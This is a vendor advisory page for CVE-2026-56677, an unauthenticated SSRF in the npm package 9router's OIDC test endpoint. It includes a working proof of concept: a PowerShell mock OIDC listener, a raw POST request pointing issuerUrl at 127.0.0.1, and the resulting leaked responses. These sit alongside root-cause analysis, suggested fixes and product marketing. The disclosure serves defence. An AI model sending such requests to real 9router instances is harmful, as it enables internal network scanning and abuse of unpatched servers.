Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-56677

HIGH

CVE-2026-56677 is a high-severity (CVSS 8.6) Missing Authentication vulnerability in 9router. O3 Security confirms whether CVE-2026-56677 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint

Published
Aug 17, 2026
Updated
Aug 17, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Aug 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
9routernpm
33Kdownloads / week

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the /api/auth/oidc/test endpoint. The application accepts a user-controlled URL string through the issuerUrl parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.

Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.

Depending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:

  1. Port Scanning / Blind SSRF (Non-OIDC structures): Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like "Unexpected token..."), allowing internal network reconnaissance.
  2. Full Data Feed Manipulation (OIDC matching structures): If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.

Vulnerable Code Details

  • Classification: VE-Class 4 — OIDC SSRF via issuerUrl (Unauthenticated)
  • File Path: src/app/api/auth/oidc/test/route.js
  • Vulnerable Logic: The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.
// Vulnerable implementation wrapper inside the route handler
const discovery = await fetchOidcDiscovery(issuerUrl);
// Behind the scenes, this executes a direct dynamic outbound request:
// -> fetch(`${issuerUrl}/.well-known/openid-configuration`)

An unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (token_endpoint, jwks_uri) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.


Affected Endpoints

  • Endpoint: /api/auth/oidc/test
  • Method: POST
  • Parameter: issuerUrl
  • Impacted Feature: OIDC Authentication Configuration Test

Impact

An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:

  • Conduct internal network topology discovery and port scanning against the hosting infrastructure (127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
  • Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.

Proof of Concept & Reproducing Steps

Step 1: Set up the Verification Environment

Utilize a local mock listener on an internal port (e.g., Port 80).

Run the following PowerShell script with Administrative privileges to launch the mock listener:

$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")

try {
    $listener.Start()
    Write-Host "=======================================================" -ForegroundColor Cyan
    Write-Host "  MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green
    Write-Host "=======================================================" -ForegroundColor Cyan

    while ($listener.IsListening) {
        $context = $listener.GetContext()
        $request = $context.Request
        Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow
        
        $jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'

        $response = $context.Response
        $response.StatusCode = 200
        $response.ContentType = "application/json"
        
        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
        $response.ContentLength64 = $buffer.Length
        $response.OutputStream.Write($buffer, 0, $buffer.Length)
        $response.Close()
        Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green
    }
} catch {
    Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
    if ($listener.IsListening) { $listener.Stop() }
}

Step 2: Triggering the Vulnerability via Burp Suite

Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):

POST /api/auth/oidc/test HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Connection: keep-alive
Content-Length: 54

{
  "issuerUrl": "http://127.0.0.1:80",
  "clientId": "probe_only"
}

Step 3: Objective Analysis of Results

Scenario A: Targeting an Unmatched/Plain Text Port (e.g., Port returning raw strings like "check vul")

The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:

{"error":"Unexpected token 'c', \"check vul\" is not valid JSON"}

Analysis: This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.


Scenario B: Targeting the Valid Mock Port (Port 80 with the script active)

The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:

{
  "ok": true,
  "discoveryOk": true,
  "issuerUrl": "http://127.0.0.1:80",
  "authorizationEndpoint": "http://127.0.0.1/oauth/auth",
  "tokenEndpoint": "http://127.0.0.1/oauth/token",
  "jwksUri": "http://127.0.0.1/oauth/keys"
}
<img width="1513" height="651" alt="image" src="https://github.com/user-attachments/assets/6621f418-7a0d-4660-b301-ad37468d8d7a" />

Analysis: This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.


Root Cause Analysis

The application logic handles network requests initiated by user input inside /api/auth/oidc/test without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.


Suggested Fix

  1. Implement Access Control: Protect the /api/auth/oidc/test handler with authentication middleware to enforce valid user sessions.

  2. Enforce Protocol Controls: Validate that issuerUrl strictly uses the https:// protocol scheme before performing the fetch operation.

  3. Implement Network Blocklists: Resolve the hostname within issuerUrl on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (127.0.0.0/8, ::1) or internal private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npm9routerall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of 9router has shipped for CVE-2026-56677 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-56677 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-56677. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the `/api/auth/oidc/test` endpoint. The application accepts a user-controlled URL string through the `issuerUrl` parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range. Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections. Depending on the state
O3 Security · Impact-Aware SCA

Is CVE-2026-56677 in your dependencies?

O3 detects CVE-2026-56677 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.